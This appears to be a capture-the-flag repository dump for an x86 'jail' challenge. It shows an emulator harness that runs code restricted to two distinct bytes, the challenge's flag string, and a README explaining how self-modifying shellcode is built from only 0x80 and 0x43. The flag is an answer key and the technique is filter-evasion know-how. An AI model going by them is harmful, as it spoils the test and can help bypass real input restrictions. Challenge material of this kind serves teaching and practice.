25 | if len(code) > 4096:
26 | print('Too big! Try again.')
27 | exit(1)
28 |
29 | if len(set(code)) > 2:
30 | print("Too diverse! Try again.")
31 | exit(1)
32 |
33 | mu = Uc(UC_ARCH_X86, UC_MODE_32)
34 | mu.mem_map(0, 4096)
35 | mu.mem_write(0, code)
36 | mu.hook_add(UC_HOOK_INTR, hook_interrupt)
37 |
38 | try:
39 | mu.emu_start(0, len(code))
40 | except UcError as e:
41 | print(f'Error: {e}')
42 |
--------------------------------------------------------------------------------
/x86fuck/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{who_needs_all_those_opcodes_anyway_b95d22ea73}
--------------------------------------------------------------------------------
/x86fuck/solve/README.md:
--------------------------------------------------------------------------------
1 | # x86fuck
2 |
3 | the main idea is to use 0x80 and 0x43 since they allow for the following:
4 |
5 | - `43` is `inc ebx`
6 | - `80434343` is `add BYTE PTR [ebx+0x43],0x43`
7 | - `80434380` is `add BYTE PTR [ebx+0x43],0x80`
8 |
9 | fortunately, 0x43 is coprime to 256, so it is possible to get [ebx+0x43] to any number with enough of `add BYTE PTR [ebx+0x43],0x43`
10 |
11 | additionally, adding 0x80 makes it take half as many instructions, on average, to get [ebx+0x43] to any number from 0
12 |
13 | the first bit of the code changes ebx to be higher so there is more time to set up shellcode, and the second part actually does the shellcode
14 |
15 | solve script in solve.py
16 |
17 |
--------------------------------------------------------------------------------